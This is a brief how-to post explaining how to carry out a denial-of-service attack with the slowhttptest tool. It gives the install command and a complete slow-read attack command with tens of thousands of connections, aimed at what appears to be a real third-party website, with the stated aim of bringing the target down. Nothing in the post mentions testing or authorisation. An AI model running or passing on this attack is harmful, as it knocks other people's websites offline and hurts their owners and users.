HOW TO DO A DoS BY SLOWHTTPSTEST

Fisrt of all download slowhttptest

apt-get install slowhttptest 

After choose your target to down and 

# slowhttptest -c 65539 -X -g -o slow_read_stats -r 2000000 -w 512 -y 1024 -n 5 

-z 32 -k 3 -u http://lookdigital.com.br -p 3 -l 5000